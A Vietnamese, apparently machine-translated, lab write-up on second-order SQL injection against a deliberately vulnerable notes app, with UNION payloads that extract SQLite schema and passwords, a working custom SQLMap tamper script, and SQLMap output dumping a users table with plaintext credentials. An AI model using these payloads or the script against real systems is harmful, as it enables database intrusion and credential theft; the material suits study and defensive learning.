Khai thác SQL injection bậc 2
Tôi xem qua và thấy nó rất hấp dẫn nhưng cũng rất trừu tượng khó hiểu và khó khai thác. Tuy nhiên, việc học cách khai thác loại lỗ hổng (SQLi) này đã giúp tôi mở rộng tầm nhìn, củng cố các kỹ năng SQLMap và giúp tôi hiểu rõ hơn về cách xử lý thông tin nhập của người dùng trong quy trình làm việc của ứng dụng phía máy chủ.
Trong bài viết này tôi sẽ viết về:
- SQLi bậc 2 nói chung,
- các điều kiện tiên quyết cần thiết,
- làm thế nào để xác định,
- cách khai thác thủ công và
- cách tự động khai thác bằng tập lệnh giả mạo SQLMap tùy chỉnh.
Những thứ cơ bản
Nói một cách đơn giản: Trong lần tiêm SQL thứ tự đầu tiên, kẻ tấn công sử dụng tham số đầu vào (điểm tiêm) để thao tác truy vấn SQL được thực hiện bởi ứng dụng máy chủ dễ bị tấn công. Máy chủ sử dụng đầu vào do người dùng cung cấp để tạo truy vấn SQL nhằm đọc, ghi, cập nhật, xóa, v.v. dữ liệu trong cơ sở dữ liệu phụ trợ. Nếu đầu vào do người dùng cung cấp không được xử lý theo cách an toàn (khử trùng, xác thực), kẻ tấn công có thể cung cấp một tải trọng thao túng truy vấn SQL đã thực thi để thực hiện các hành động độc hại trên DBMS. Đặc điểm của SQLi thứ tự đầu tiên là truy vấn SQL độc hại được thực thi do hậu quả trực tiếp của việc tiêm tải trọng. Kẻ tấn công không cần thực hiện hành động thứ hai để thực thi tải trọng độc hại.
Có một số cách để dễ dàng ngăn chặn các lần tiêm SQL thứ tự đầu tiên. Sử dụng các câu lệnh đã chuẩn bị hoặc xử lý đầu vào được tham số hóa chỉ là một vài trong số đó. Tuy nhiên, các nhà phát triển ngày nay có thể nhận thức được rằng đầu vào do người dùng cung cấp phải được xử lý theo cách an toàn. Nhưng họ thường quên xử lý dữ liệu an toàn đã được lưu trong cơ sở dữ liệu. Đây là nơi SQLi thứ hai phát huy tác dụng.
Để làm cho mọi thứ rõ ràng hơn, hãy giả sử tình huống sau: Một ứng dụng cho phép người dùng tải ảnh lên và lưu chúng vào cơ sở dữ liệu. Bảng có các cột cho:
- id duy nhất của hình ảnh,
- hình ảnh chính nó,
- tên tệp của hình ảnh,
- bộ đếm lượt xem ảnh của người dùng ứng dụng.
POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg
[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]
cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))
conn.commit()
conn.close()
Như đã đề cập trước đó, bảng cơ sở dữ liệu 'hình ảnh' có cột thứ ba là 'lượt xem'. Mỗi khi người dùng xem ảnh, bộ đếm này sẽ tăng lên 1. Ứng dụng cũng trả lại bộ đếm cho người dùng, nếu người dùng mở chế độ xem chi tiết của ảnh. Vì vậy, tại một số điểm của mã, ứng dụng có thể trông như thế này:
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture extracted from database]
cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]
conn.close()
Các điều kiện tiên quyết của SQLi bậc 2
Vì vậy, hãy kết thúc phần giới thiệu ngắn này và xác định các điều kiện tiên quyết và đặc điểm của SQLi bậc 2.
- Ứng dụng bằng cách nào đó cho phép lưu trữ đầu vào của người dùng trong ứng dụng trong bước đầu tiên. Điều này có thể nằm trong không gian bộ nhớ của ứng dụng hoặc trong DBMS phụ trợ chẳng hạn.
- Kẻ tấn công có thể thực hiện bước thứ hai để làm cho ứng dụng thực thi truy vấn SQL sử dụng đầu vào của người dùng đã được đưa vào trong bước đầu tiên.
- Ứng dụng không sử dụng các kỹ thuật chống SQLi trong khi thực hiện truy vấn (trong bước 2) dựa trên đầu vào của người dùng độc hại (từ bước 1).
Việc xác định các lỗ hổng này có thể rất khó khăn, tùy thuộc vào mức độ phức tạp và khả năng truy xuất nguồn gốc của kiến trúc và triển khai ứng dụng.
Hãy thử tưởng tượng luồng thực thi các chức năng của ứng dụng trong khi thực hiện các hành động có thể tương tác với DBMS phụ trợ.
Đầu tiên, tất nhiên bạn sẽ luôn kiểm tra các lần tiêm SQL thứ tự đầu tiên cổ điển. Nhưng nếu không có gì hoạt động và bạn phải giả định rằng một số biện pháp phòng vệ được sử dụng trong quá trình xử lý yêu cầu tiêm, hãy thử nghĩ xa hơn một bước và tưởng tượng (những) điểm mà đầu vào của bạn có thể được xử lý trong các chức năng/lĩnh vực khác nhau của ứng dụng. Nếu bạn đã xác định được một vài điểm thực thi lệnh thứ 2 có thể, hãy thử tưởng tượng các truy vấn được thực hiện bởi ứng dụng tại thời điểm này. Tiếp theo, xây dựng tải trọng tiêm của bạn theo cách mà chúng có thể khai thác truy vấn được thực hiện bởi các điểm thực thi lệnh thứ 2 và kiểm tra kết quả.
Tự động hóa quá trình đó có thể hơi phức tạp nhưng có thể giúp bạn tiết kiệm rất nhiều thời gian. Tuy nhiên, việc hiểu rõ về luồng thực thi phía máy chủ của ứng dụng, các chuỗi truy vấn bị ảnh hưởng, v.v. trông như thế nào là hoàn toàn cần thiết nếu bạn muốn tự động hóa quy trình khai thác bằng các công cụ như SQLMap. Vì vậy, đừng chỉ bắn nó vào ứng dụng và hy vọng điều tốt nhất. Tìm hiểu càng sâu về ứng dụng càng tốt trước khi chuẩn bị lệnh khai thác SQLMap cuối cùng để cải thiện cơ hội thành công.
Phân tích và khai thác thủ công
Vì vậy, để chứng minh điều này trong một ví dụ thực tế, tôi sẽ sử dụng một ứng dụng dễ bị tổn thương (“Ghi chú dễ bị tổn thương”) với các thành phần ứng dụng điển hình như:
- đăng nhập,
- đăng ký,
- hồ sơ,
- đổi mật khẩu,
- ghi chép,
- đăng xuất.
Đầu tiên, tôi đã phân tích ứng dụng bằng trình duyệt để xác định các điểm chèn SQL tiềm năng.
Chức năng đăng ký chắc chắn sẽ thực hiện một số loại truy vấn CHỌN để kiểm tra xem tên người dùng đã được sử dụng chưa và truy vấn CHÈN để đăng ký người dùng của tôi.
Tôi đã tạo một người dùng và chuyển sang trang đăng nhập. Trang này sẽ lấy thông tin đăng nhập do người dùng cung cấp và thực hiện một số loại câu lệnh CHỌN trên cơ sở dữ liệu để xác minh thông tin đăng nhập.
Sau khi xác thực, người dùng được chuyển hướng đến trang chủ. Tên người dùng được hiển thị trên đầu trang. Vì vậy, có thể ứng dụng thực hiện truy vấn CHỌN để trích xuất tên người dùng từ cơ sở dữ liệu tại thời điểm này.
Từ điểm bắt đầu này, người dùng có thể thực hiện các hành động liên quan đến người dùng như ghi chú trên điểm cuối /notes. Tên người dùng được hiển thị ở vị trí thứ hai trong tiêu đề “Chào mừng”. Có thể ứng dụng thực hiện truy vấn CHỌN để yêu cầu lại tên người dùng.
Ứng dụng rất có thể sẽ thực hiện một số loại câu lệnh INSERT trên cơ sở dữ liệu nếu chức năng này được sử dụng. Sau khi ghi chú, chúng có thể được nhìn thấy trên cùng một trang, dưới biểu mẫu.
Để hiển thị các ghi chú, bằng cách nào đó, ứng dụng sẽ thực hiện một truy vấn CHỌN trên cơ sở dữ liệu để yêu cầu các ghi chú đã lưu.
Ứng dụng này cũng cung cấp chức năng “thay đổi mật khẩu”, nhưng thông báo trên trang cho biết rằng chức năng này có thể không được triển khai.
Tuy nhiên, nếu nó được triển khai, rất có thể nó sẽ thực hiện một số loại truy vấn CẬP NHẬT trên cơ sở dữ liệu. Tôi muốn loại bỏ vectơ đó trước, vì vậy tôi đã thử chức năng này và nó không thành công. Nó được xác nhận rằng chức năng không được thực hiện.
Theo cách tiếp cận của tôi đối với SQLi thứ tự đầu tiên, điều tiếp theo tôi làm là tạo một bản tóm tắt tất cả các truy vấn SQL tiềm năng mà tôi có thể tiếp quản bằng cách tiêm các tải trọng độc hại. Tại thời điểm này, tôi cố gắng hình dung các truy vấn này trông như thế nào. Tôi không chắc chắn rằng chúng thực sự trông giống hệt như thế này, nhưng nó giúp hiểu được cách thức hoạt động của phần phụ trợ.
Đăng ký
-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME
-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)
-- Check if there is an user id where the provided credentials actually match.
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD
-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)
Thời gian cho cách tiếp cận thứ 2.
Vì tôi đã phân tích ứng dụng một cách chi tiết rồi nên tôi sẽ không phải phân tích lại ứng dụng mục tiêu nữa. Thay vào đó, chỉ cần lướt qua kiến thức đã có của tôi về ứng dụng với một cách nhìn/cách tiếp cận khác là đủ.
Quay trở lại các điều kiện tiên quyết đã đề cập trước đó của SQLi bậc 2, tôi phải tự đặt câu hỏi:
Ứng dụng lấy thông tin đầu vào của người dùng của tôi ở đâu, lưu trữ thông tin đó để sử dụng sau này và ở bước sau, sử dụng thông tin đó như một phần của truy vấn khác mà tôi không có tác động trực tiếp?
Các ứng cử viên có thể là:
- Tên người dùng : Tôi chuyển tên người dùng cho ứng dụng trong quá trình đăng ký. Tên người dùng sau đó được truy vấn từ /trang chủ và từ trang /ghi chú để hiển thị nó. Và cũng có thể tên người dùng được sử dụng để truy vấn các ghi chú đã lưu của người dùng cụ thể từ cơ sở dữ liệu.
Vì tôi có thể thấy kết quả của truy vấn nên tôi biết mình đang xử lý tình huống khai thác dựa trên UNION. Theo phương pháp điển hình, trước tiên tôi sẽ phải tìm hiểu xem có bao nhiêu cột được truy vấn từ bảng theo truy vấn ban đầu. Đối với điều này, tôi đang chuẩn bị nhiều trọng tải và phân tích kết quả sau đó.
-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...
Tải trọng được hiển thị như mong đợi ở đầu trang chủ và trên đầu trang /ghi chú.
Tiếp theo, tôi đã cố gắng chèn một ghi chú nhưng thật ngạc nhiên, ghi chú đó không được ứng dụng hiển thị sau đó!
Có vẻ như truy vấn chịu trách nhiệm yêu cầu các ghi chú từ cơ sở dữ liệu bị hỏng. Tất nhiên, điều này chỉ ra rằng tải trọng của chúng tôi có tác động đến truy vấn nội bộ. Nhưng vì không có gì được hiển thị nên có vẻ như truy vấn đang tạo ra lỗi hoặc không trả về kết quả. Tất nhiên, điều này có thể xảy ra nếu chúng tôi không đặt đúng số cột trong tải trọng. Vì vậy, hãy tiếp tục với các tải trọng tiếp theo trong danh sách cho đến khi một hành vi khác xuất hiện.
May mắn thay, trọng tải tiếp theo đã hoạt động! “Không” và “Không” đã được trả lại làm tiêu đề và văn bản của ghi chú.
Đặt các mảnh lại với nhau:
-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- The payload
' UNION SELECT null,null--comment
-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment
Tôi đã điều chỉnh thông tin từ bảng gian lận và xây dựng một tải trọng hoạt động. Tải trọng mới:
' UNION SELECT null,sqlite_version()--comment
Kể từ thời điểm này, luồng khai thác SQLite điển hình (tải trọng trong cheat sheet được cung cấp) có thể được sử dụng để kết xuất toàn bộ cơ sở dữ liệu. Hãy thử thêm một số trọng tải trước khi tự động hóa quy trình.
Trích xuất tất cả các tên bảng
' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment
' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment
' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment
' UNION SELECT null, password FROM users WHERE username='admin'--comment
Khai thác tự động thông qua SQLMap Tamper Script
Cho đến khi tôi làm việc với kịch bản này, tôi chỉ sử dụng SQLMap để khai thác SQLi thứ tự đầu tiên. Tôi đã tự hỏi liệu có thể khai thác SQLi bậc hai hay không. Đầu tiên, tôi đã sử dụng thiết bị đầu cuối của mình để tìm kiếm các tùy chọn SQLMap liên quan đến khai thác thứ tự thứ hai và tìm thấy điều này:
┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Hãy ghi nhớ các bước cần thiết để khai thác lỗ hổng thủ công:
- Đưa tải trọng vào chức năng “đăng ký” mà không được xác thực.
- Xác thực thông qua chức năng “đăng nhập”.
- Yêu cầu được xác thực đối với trang “ghi chú”.
Tôi biết rằng SQLMap có thể thực thi các tập lệnh python với tùy chọn “ — giả mạo”. Tôi đã kiểm tra thư mục tập lệnh giả mạo để xem liệu tôi có thể tìm thấy thứ gì hữu ích ở đó để tôi có thể điều chỉnh theo nhu cầu của mình không. Thật đáng buồn không.
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper
0eunion.py chardoubleencode.py dunion.py ifnull2casewhenisnull.py modsecurityversioned.py plus2fnconcat.py space2hash.py space2randomblank.py versionedkeywords.py
apostrophemask.py charencode.py equaltolike.py ifnull2ifisnull.py modsecurityzeroversioned.py __pycache__ space2morecomment.py sp_password.py versionedmorekeywords.py
apostrophenullencode.py charunicodeencode.py equaltorlike.py informationschemacomment.py multiplespaces.py randomcase.py space2morehash.py substring2leftright.py xforwardedfor.py
appendnullbyte.py charunicodeescape.py escapequotes.py __init__.py ord2ascii.py randomcomments.py space2mssqlblank.py symboliclogical.py
base64encode.py commalesslimit.py greatest.py least.py overlongutf8more.py schemasplit.py space2mssqlhash.py unionalltounion.py
between.py commalessmid.py halfversionedmorekeywords.py lowercase.py overlongutf8.py sleep2getlock.py space2mysqlblank.py unmagicquotes.py
binary.py commentbeforeparentheses.py hex2char.py luanginx.py percentage.py space2comment.py space2mysqldash.py uppercase.py
bluecoat.py concat2concatws.py htmlencode.py misunion.py plus2concat.py space2dash.py space2plus.py varnish.py
Cách viết tập lệnh giả mạo tùy chỉnh cho sqlmap
Từ bài viết, tôi đã nhận được khung mẫu sau (đã xóa khi nhập lại) và lưu nó dưới dạng custom.py:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
Hàm nhận tải trọng SQLMap thông qua tham số chức năng và trả về tải trọng bị giả mạo sau khi thao tác. Bài viết không giải thích cách sử dụng **kwargs trong ngữ cảnh của SQLMap nên tôi đã hỏi ChatGPT và nhận được câu trả lời rất hay:
Điều này là đủ để chuẩn bị tập lệnh giả mạo tùy chỉnh cho việc khai thác. Để liên lạc với máy chủ, tôi đã sử dụng thư viện yêu cầu.
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests
def dependencies():
pass
def tamper(payload, **kwargs):
# Create Session object
s = requests.Session()
# Register user with SQLMap payload in username
s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
# Login malicious username
res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
# Get headers from SQLMap
headers = kwargs.get('headers', {})
# Extract session cookie from response
sessId = "session={}".format(s.cookies.get('session', None))
# Pass session cookie to SQLMap cookie header
headers['Cookie'] = sessId
return payload
Đặt tất cả các phần lại với nhau, có thể sử dụng lệnh SQLMap sau:
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:20:46 /2023-02-04/
[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated
[*] ending @ 12:22:06 /2023-02-04/
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:25:23 /2023-02-04/
[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+
[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated
[*] ending @ 12:25:30 /2023-02-04/
──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
___
__H__
___ ___[.]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:26:59 /2023-02-04/
[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users'
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password | username |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | rcLYWHCxeGUsA9tH3GNV | admin |
| 2 | asd | dev |
| 3 | Summer2019! | amanda |
| 4 | 345m3io4hj3 | maja
...
Do bản chất của nó, những lỗ hổng này có thể xuất hiện ở mọi nơi trong các ứng dụng web. Ngay cả khi các nhà phát triển đã xử lý đầu vào của người dùng đúng cách ngay từ cái nhìn đầu tiên, điều đó không có nghĩa là các biện pháp chống SQLi được áp dụng trên toàn bộ ứng dụng. Trong tương lai, tôi chắc chắn sẽ mở to mắt và sẽ cố gắng theo dõi và hiểu sâu về quy trình làm việc của ứng dụng/cơ sở dữ liệu.
Tôi hy vọng bạn thích bài đăng này và có thể điều này có thể giúp bạn với các tình huống tương tự. Tôi thực sự thích viết điều này và tôi đã học được rất nhiều điều mới trong ngày thứ Bảy này. Để lại nhận xét, thích hoặc theo dõi và theo dõi để biết thêm nội dung web và rất sớm một số chủ đề về cơ sở hạ tầng AD.
HÒA BÌNH

![Dù sao thì một danh sách được liên kết là gì? [Phần 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































